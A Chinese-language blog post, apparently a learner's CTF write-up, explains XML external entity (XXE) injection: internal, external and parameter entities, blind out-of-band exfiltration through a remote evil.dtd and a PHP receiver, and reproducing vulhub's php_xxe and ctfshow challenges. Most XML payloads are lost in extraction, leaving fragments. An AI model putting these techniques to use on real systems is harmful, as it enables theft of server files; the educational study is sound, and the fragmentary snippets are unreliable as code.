//DTD实体
]>
&errorr0; 123
//DTD外部实体
]>
&errorr0; 123
如何区分,一开始我也看不懂有啥区别,最后是啥发现了内部实体就是引用得值是已经定义好了,而外部实体的值就是通过某些函数比如system来获取,不是提前定义好的。
上面的内部还是外部实体的值,都是再文档外面调用的,而如果我们想在里面调用,就需要用到参数实体。
%实体名称 ;----- 相当于调用
%b;
]>最后输出的答案为:hello errorr0
可以看出%b在dtd的里面。
">
%errorr1;
]>&errorr2; 123
先调用参数实体,然后数据中又是一个实体,再在文档元素中调用&errorr2; 。
当然除了这些,还有一种方式代替一些符号比如百分号%,参数实体的百分号%也不能出现在实体值中,这个时候我们可以用Unicode编码,%=% 也可以写做16进制 ,%=%=%
外部实体+参数实体的二重调用
%errorr1;
%errorr;
]>&errorr2; 123 flag.txt中内容如下:">
因为上面的都是有回显的题目都会有print或者echo之类输出的语句, 但是如果没有回显了怎么办呢?
构造的XML
//这是需要带出去的一串数据
//服务器中放入嵌套数据
%remote;
%all;
]>
&send;
errorr.txt">
1.php
其实就是通过了参数实体+外部实体,首先调用%romore获得errror.txt中的实体,然后调用%all获得了后面的send最后调用外部实体,调用了1.php中的内容,然后把file里面的数据放到了1.txt中,这样就把数据外带了。
完全可以用上面的方式把ENITY放到,服务器上的一个文件中然后读取
这里就不细写知识点了,这个链接挺全的。主要通过题目和复现来逐渐理解。
首先复现vulhub上的php_xxe
环境搭建:找到php_xxe的 那个
然后直接docker-compose up -d,然后访问8080端口就可以了。
(ps:一定保证8080的端口是空闲的,这里我的kali以前鼓捣过,8080端口开过apache信道服务,捣鼓不明白 只能重开一台kali)
目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。
dom.php: DOMDocument:: loadXML()//从字符串加载XML文档
loadXML($data);print_r($dom);
SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素
simplexml_load_string.php: simplexml_load_string()//接受格式正确的XML字符串,并将其作为对象返回
name;
burp抓包进行修改,加入如下代码:这是使用的外部实体
]>
&xxe;
发现执行成功。
==============
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 加载xml实体,参数为替代实体,加载外部子集$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;//结点嵌套echo $ctfshow;
}
highlight_file(__FILE__);
]>
&xxe;
这里ctfshow的标签因为是结点嵌套所以必须存在, 然后&xxe后面的分号一定要有。
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里没有print echo所以无回显,所以我们需要找个东西来外带我们要获取的数据。
evil.dtd
">
%dtd;%int;%send; ]>
需要在服务器上开启web功能。
ps感想:
弄这个apache搞了好几天一直报错,实在是顶不住了,如果有会的师傅可以滴滴我,感激不尽呀!!!
上一篇:红黑树实现map,set封装
下一篇:双链表及其功能实现